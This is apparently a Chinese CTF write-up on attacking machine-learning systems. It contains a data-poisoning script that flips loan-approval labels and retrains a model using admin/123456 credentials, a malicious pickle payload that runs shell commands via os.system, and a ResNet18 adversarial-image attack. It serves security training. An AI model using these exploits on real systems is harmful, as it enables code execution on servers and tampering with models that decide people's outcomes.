1、模型投毒1#

目标：登入管理员后台，通过上传投毒数据并重训练模型，使平台提供的 100 位申请人的审批结果与原始结果完全相反。当 100 位申请人全部投毒成功后，获取 Flag。

步骤一：信息搜集与数据获取#

首先登录系统，浏览后台功能。

仪表板 (/dashboard)：提供模型训练功能，可以配置超参数（Epochs, Batch Size, Learning Rate 等），并支持 Socket.IO 实时查看训练日志。
客户管理 (/admin/customers)：列出了需要攻击的 100 位目标申请人，包含他们的特征数据（月收入、信用评分等）以及当前的“原始审批”结果和“模型审批”结果。
数据上传 (/admin/upload_csv)：允许上传 CSV 文件，上传的数据将与原始训练数据合并。

我们需要获取这 100 位用户的详细特征，以便构造针对性的投毒数据。通过编写脚本登录并解析 /admin/customers 页面表格，提取出所有 100 条数据。

步骤二：构造投毒数据#

攻击的核心思路是数据投毒 (Data Poisoning) 配合 过拟合 (Overfitting)。我们需要让模型“记住”这 100 个特定的输入对应的反转标签。

反转标签：如果原始审批是“通过”，我们在投毒数据中标记为 0（拒绝）；如果是“拒绝”，标记为 1（通过）。
数据增强（过拟合）：原始训练集可能包含数千条正常数据。为了让模型在训练时倾向于我们的投毒数据，我们将这 100 条反转后的数据复制大量份数（例如 1000 次），生成 10 万条投毒样本。这样在训练过程中，投毒数据的权重将远远超过原始数据。

生成脚本 (gen_poison.py) 逻辑：

1
import csv
2
import random
3

4
def generate_poisoned_data():
5
    # Read customers.csv
6
    customers = []
7
    with open("customers.csv", "r") as f:
8
        reader = csv.reader(f)
9
        header = next(reader)
10
        # Header: ['', 'ID', '用户名', '月收入', '信用评分', '负债比', '工作年限', '原始审批', '模型审批', '模型概率', '投毒状态', '更新时间']
11
        # Indices:
12
        # 月收入: 3
13
        # 信用评分: 4
14
        # 负债比: 5
15
        # 工作年限: 6
16
        # 原始审批: 7
17

18
        for row in reader:
19
            if not row: continue
20

21
            # Clean data
22
            monthly_income = float(row[3].replace('¥', ''))
23
            credit_score = int(row[4])
24
            debt_income_ratio = float(row[5])
25
            work_years = float(row[6].replace('年', ''))
26
            original_approval = row[7]
27

28
            # Determine target label (Reversed)
29
            if original_approval == "通过":
30
                target_label = 0 # Reject
31
            else:
32
                target_label = 1 # Approve
33

34
            customers.append({
35
                "monthly_income": monthly_income,
36
                "credit_score": credit_score,
37
                "debt_income_ratio": debt_income_ratio,
38
                "work_years": work_years,
39
                "loan_approval": target_label
40
            })
41

42
    print(f"Loaded {len(customers)} customers.")
43

44
    # Generate poisoned data
45
    # We will replicate these 100 customers many times
46
    REPLICATION_FACTOR = 1000  # Increased to 1000
47
    # Original dataset size is unknown, but usually thousands.
48

49
    poisoned_rows = []
50

51
    # Add header
52
    poisoned_rows.append(["monthly_income", "credit_score", "debt_income_ratio", "work_years", "loan_approval"])
53

54
    for _ in range(REPLICATION_FACTOR):
55
        for c in customers:
56
            poisoned_rows.append([
57
                c["monthly_income"],
58
                c["credit_score"],
59
                c["debt_income_ratio"],
60
                c["work_years"],
61
                c["loan_approval"]
62
            ])
63

64
    # Write to file
65
    with open("poisoned.csv", "w", newline='') as f:
66
        writer = csv.writer(f)
67
        writer.writerows(poisoned_rows)
68

69
    print(f"Generated poisoned.csv with {len(poisoned_rows)-1} samples.")
70

71
if __name__ == "__main__":
72
    generate_poisoned_data()

步骤三：实施攻击（重训练）#

利用 socket.io 接口直接控制模型训练。为了确保攻击成功，我们设置极端的超参数以强行过拟合：

Epochs (训练轮数): 200 (尽可能多练)
Validation Split (验证集比例): 0 (不留验证集，全部用于训练)
Dropout Rate: 0 (移除防止过拟合的机制)
Network Structure: [128, 128, 64] (增加网络深度和参数量，增强记忆能力)
Learning Rate: 0.005 (适当加大)

exp

1
import requests
2
import socketio
3
import time
4
import os
5
from bs4 import BeautifulSoup
6

7
BASE_URL = "http://47.100.84.185:32888"
8
LOGIN_URL = f"{BASE_URL}/login"
9
UPLOAD_URL = f"{BASE_URL}/admin/upload_csv"
10

11
# Initialize Session
12
session = requests.Session()
13

14
def login():
15
    print(f"[*] Logging into {LOGIN_URL}...")
16
    data = {"username": "admin", "password": "123456"}
17
    response = session.post(LOGIN_URL, data=data)
18
    if "仪表板" in response.text or "Dashboard" in response.text or response.status_code == 200:
19
        print("[+] Login successful!")
20
        return True
21
    return False
22

23
def upload_poison():
24
    print("[*] Uploading poisoned data...")
25
    if not os.path.exists("poisoned.csv"):
26
        print("[-] poisoned.csv not found!")
27
        return False
28

29
    files = {'file': open('poisoned.csv', 'rb')}
30
    response = session.post(UPLOAD_URL, files=files)
31
    try:
32
        res_json = response.json()
33
        if res_json.get("success"):
34
            print(f"[+] Upload successful: {res_json.get('message')}")
35
            return True
36
        else:
37
            print(f"[-] Upload failed: {res_json.get('message')}")
38
            return False
39
    except Exception as e:
40
        print(f"[-] Upload error: {e}")
41
        print(response.text)
42
        return False
43

44
def start_training_and_wait():
45
    # Initialize SocketIO
46
    sio = socketio.Client(http_session=session)
47

48
    training_done = False
49

50
    @sio.event
51
    def connect():
52
        print("[socket] Connected to server")
53

54
    @sio.event
55
    def disconnect():
56
        print("[socket] Disconnected from server")
57

58
    @sio.on('training_log')
59
    def on_log(data):
60
        msg = data.get('message', '')
61
        print(f"[Log] {msg}")
62
        nonlocal training_done
63
        if "训练和推理全部完成" in msg or "Training completed" in msg:
64
            print("[+] Training completed!")
65
            training_done = True
66
            sio.disconnect()
67

68
    try:
69
        sio.connect(BASE_URL)
70
    except Exception as e:
71
        print(f"[-] Socket connection failed: {e}")
72
        return
73

74
    # Prepare aggressive parameters
75
    params = {
76
        "epochs": 200,
77
        "batch_size": 32,
78
        "learning_rate": 0.005,
79
        "validation_split": 0,
80
        "optimizer": "adam",
81
        "hidden_layers": [128, 128, 64], # Deeper
82
        "dropout_rate": 0.0, # No dropout to encourage overfitting
83
        "l1_reg": 0,
84
        "l2_reg": 0
85
    }
86

87
    print("[*] Starting training with params:", params)
88
    sio.emit('start_training', params)
89

90
    # Wait loop
91
    start_time = time.time()
92
    while not training_done:
93
        time.sleep(5)
94
        if time.time() - start_time > 1800: # 30 minutes timeout
95
            print("[-] Timeout waiting for training.")
96
            break
97

98
    print("[*] Socket session ended.")
99

100
def check_status():
101
    print("[*] Checking status...")
102
    customers_url = f"{BASE_URL}/admin/customers"
103
    resp = session.get(customers_url)
104
    soup = BeautifulSoup(resp.text, "html.parser")
105

106
    # Check "投毒状态" column in table
107
    table = soup.find('table')
108
    if not table:
109
        print("[-] Table not found.")
110
        return
111

112
    success_count = 0
113
    total_count = 0
114

115
    for tr in table.find_all('tr')[1:]:
116
        cols = tr.find_all('td')
117
        if len(cols) > 10:
118
            status = cols[10].text.strip() # Index 10 is '投毒状态'
119
            if "成功" in status or "Success" in status:
120
                success_count += 1
121
            total_count += 1
122

123
    print(f"[*] Poisoning Status: {success_count}/{total_count} successful.")
124

125
    if success_count == total_count and total_count > 0:
126
        print("[SUCCESS] All targets poisoned!")
127

128
        # Check current page (Customers)
129
        if "flag{" in resp.text:
130
            print("[!!!] FLAG FOUND IN CUSTOMERS PAGE [!!!]")
131
            import re
132
            flags = re.findall(r"flag\{.*?\}", resp.text)
133
            for f in flags:
134
                print(f"FLAG: {f}")
135

136
        # Check Dashboard
137
        print("[*] Checking Dashboard for flag...")
138
        dash_resp = session.get(f"{BASE_URL}/dashboard")
139
        if "flag{" in dash_resp.text:
140
            print("[!!!] FLAG FOUND IN DASHBOARD [!!!]")
141
            import re
142
            flags = re.findall(r"flag\{.*?\}", dash_resp.text)
143
            for f in flags:
144
                print(f"FLAG: {f}")
145

146
        # Save pages for manual inspection
147
        with open("final_customers.html", "w") as f:
148
            f.write(resp.text)
149
        with open("final_dashboard.html", "w") as f:
150
            f.write(dash_resp.text)
151
        print("[*] Saved final_customers.html and final_dashboard.html")
152

153
        # Check for any alerts in the HTML
154
        soup = BeautifulSoup(dash_resp.text, "html.parser")
155
        alerts = soup.find_all(class_="alert")
156
        if alerts:
157
            print("[*] Found alerts in Dashboard:")
158
            for alert in alerts:
159
                print(f"  - {alert.text.strip()}")
160

161
if __name__ == "__main__":
162
    if login():
163
        # if upload_poison():
164
        #     start_training_and_wait()
165
        check_status()

5、模型上传#

题目明确提示支持上传 .pkl 格式的模型文件。在 Python 中，.pkl 文件通常使用 pickle 模块进行序列化和反序列化。pickle 模块在反序列化不可信的数据时存在严重的安全漏洞，攻击者可以通过构造恶意的序列化数据，在反序列化过程中执行任意代码（RCE）。

步骤一：探测环境#

访问网站主页，发现存在模型上传接口。为了回显命令执行结果，我们需要找到一个 Web 可访问的目录。通过查看网页源码或常规猜测，Web 应用通常会有 static 目录用于存放静态资源。我们可以尝试将命令执行结果重定向到 static 目录下的文本文件中，然后通过浏览器访问读取。

步骤二：构造 Payload (信息收集)#

编写 Python 脚本，利用 __reduce__ 方法构造恶意对象。首先尝试列出服务器当前目录下的文件，以寻找 flag 的位置。

1
import pickle
2
import os
3

4
class RCE:
5
    def __reduce__(self):
6
        # 执行 ls 命令，并将结果写入 static/files.txt
7
        # 2>&1 确保错误信息也能被写入
8
        cmd = 'ls -R > static/files.txt 2>&1'
9
        return (os.system, (cmd,))
10

11
if __name__ == '__main__':
12
    # 生成恶意 pickle 文件
13
    pickled = pickle.dumps(RCE())
14
    with open('exploit.pkl', 'wb') as f:
15
        f.write(pickled)

运行上述脚本生成 exploit.pkl。
在网页上上传该文件。
访问 http://47.100.84.185:32970/static/files.txt 查看结果。

结果发现：文件列表中显示当前目录下存在名为 flag 的文件。

步骤三：构造 Payload (获取 Flag)#

确认 flag 文件位置后，修改脚本中的命令，直接读取 flag 内容并写入 Web 可访问的文件。

1
import pickle
2
import os
3

4
class RCE:
5
    def __reduce__(self):
6
        # 读取 flag 文件内容，并写入 static/flag.txt
7
        cmd = 'cat flag > static/flag.txt 2>&1'
8
        return (os.system, (cmd,))
9

10
if __name__ == '__main__':
11
    pickled = pickle.dumps(RCE())
12
    with open('exploit.pkl', 'wb') as f:
13
        f.write(pickled)

重新运行脚本生成新的 exploit.pkl。
再次上传该文件。
访问 http://47.100.84.185:32970/static/flag.txt。

6、对抗样本#

任务描述

系统提供了一个基于 ResNet18 的图像识别平台。我们需要上传一张对抗样本图片，满足以下条件：

与默认图片（default.jpg）在视觉上高度相似（相似度 ≥ 95%）。
被模型识别为完全不同的类别。

关键信息

模型: ResNet18 (ImageNet 预训练)。
目标: 定向或非定向攻击（只要类别改变即可）。
限制: SSIM (结构相似性) 或类似指标需大于 0.95。
输入尺寸: 默认图片尺寸为 1080x1920，但 ResNet18 标准输入通常为 224x224。

预处理分析 (关键点)#

在初次尝试中，如果直接将图片缩放到 224x224 进行攻击，生成的对抗样本在上传后往往攻击失败。这是因为服务器端对高分辨率图片（1080x1920）进行了特定的预处理：

Resize: 将短边缩放到 256 像素（保持比例）。
CenterCrop: 从中心裁剪出 224x224 的区域。

如果我们只针对 224x224 的缩略图进行攻击，而上传的是原图，服务器在进行 Crop 操作时，可能会截取到我们未优化的区域，或者 Resize 造成的插值差异会导致攻击失效。 解决方案：在本地攻击脚本中，必须构建一个可微分的预处理管线，模拟服务器的 Resize(256) -> CenterCrop(224) 操作，确保梯度能正确回传到原图的对应像素上。

攻击策略#

我们采用基于优化的攻击方法（类似 C&W 或 PGD 的变体）：

优化变量: 对抗样本图片的像素张量（初始化为原图）。
损失函数: $Loss = Loss_{class} + \lambda \cdot Loss_{sim}$ $L oss = L os s_{c l a ss} + λ \cdot L os s_{s im}$
- $Loss_{class}$ : 交叉熵损失 (CrossEntropyLoss)，目标是让模型将图片识别为非原图类别（例如定向攻击为 “Dingo”）。
- $Loss_{sim}$ : L2 距离或 LPIPS，用于约束修改幅度，保持视觉相似度。
优化器: Adam，学习率设为 0.005 左右。

解题步骤

第一步：环境准备

安装必要的 Python 库：

1
pip install torch torchvision scikit-image pillow numpy

第二步：获取原图

从题目提供的接口下载默认图片：

1
curl http://47.100.84.185:32986/default_image -o default.jpg

原图 default.jpg 被识别为 Class 260 (Chow Chow, 松狮犬)。

第三步：编写攻击脚本

核心代码如下：

1
import torch
2
import torch.nn as nn
3
import torchvision.models as models
4
import torchvision.transforms as transforms
5
import torchvision.transforms.functional as TF
6
from PIL import Image
7
import numpy as np
8

9
# 1. 加载模型
10
device = torch.device("cpu") # 或 cuda
11
model = models.resnet18(weights=models.ResNet18_Weights.IMAGENET1K_V1).to(device)
12
model.eval()
13

14
# 2. 加载原图
15
original_image = Image.open("default.jpg").convert('RGB')
16
to_tensor = transforms.ToTensor()
17
img_tensor = to_tensor(original_image).unsqueeze(0).to(device)
18

19
# 3. 初始化对抗样本（设为可导）
20
adv_img_tensor = img_tensor.clone().detach()
21
adv_img_tensor.requires_grad = True
22

23
# 4. 定义预处理和归一化
24
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
25

26
# 5. 优化配置
27
optimizer = torch.optim.Adam([adv_img_tensor], lr=0.005)
28
criterion = nn.CrossEntropyLoss()
29
target_idx = torch.tensor([273]).to(device) # 目标类别: 273 (Dingo, 澳洲野犬)
30

31
# 6. 迭代优化
32
print("开始生成对抗样本...")
33
for i in range(501):
34
    optimizer.zero_grad()
35

36
    # 关键：模拟服务器的预处理 (Resize 256 -> CenterCrop 224)
37
    # 使用 TF.resize 支持梯度回传
38
    resized_img = TF.resize(adv_img_tensor, size=256, interpolation=transforms.InterpolationMode.BILINEAR, antialias=True)
39
    processed_img = TF.center_crop(resized_img, output_size=224)
40

41
    # 归一化并输入模型
42
    inputs = normalize(processed_img)
43
    outputs = model(inputs)
44

45
    # 计算损失
46
    ce_loss = criterion(outputs, target_idx) # 分类损失
47
    diff = adv_img_tensor - img_tensor
48
    l2_loss = torch.norm(diff, p=2)          # 相似度损失 (L2)
49

50
    # 调整权重平衡攻击成功率与相似度
51
    loss = ce_loss + 200.0 * l2_loss
52

53
    loss.backward()
54
    optimizer.step()
55

56
    # 截断像素值到 [0, 1]
57
    with torch.no_grad():
58
        adv_img_tensor.clamp_(0, 1)
59

60
    # 每 10 轮检查一次状态
61
    if i % 10 == 0:
62
        # ... (检查预测结果和 SSIM 相似度)
63
        # 如果预测成功且 SSIM > 0.95，则停止
64

65
# 7. 保存结果
66
final_adv_img = transforms.ToPILImage()(adv_img_tensor.squeeze(0).cpu())
67
final_adv_img.save("submit.jpg")
68
print("生成完成：submit.jpg")

第四步：验证与提交

运行脚本生成 submit.jpg。使用脚本验证或直接上传测试：

1
curl -X POST -F "file=@submit.jpg" http://47.100.84.185:32986/upload

返回结果：

1
{
2
  "message": "恭喜！挑战成功！",
3
  "predictions_different": true,
4
  "similarity": 0.9980,
5
  "similarity_met": true,
6
  "success": true,
7
  "uploaded_prediction": {
8
    "class_id": 273,
9
    "class_name": "class_273"
10
  }
11
}

本题的难点在于预处理的一致性。由于原图分辨率很高（1080x1920），如果直接对 resize 后的低分辨率张量进行攻击并 upscale 回去，会损失大量高频对抗扰动。正确的做法是在全分辨率张量上进行优化，并将**下采样（Downsampling）**操作包含在计算图中，使梯度能够指导全分辨率图像的更新。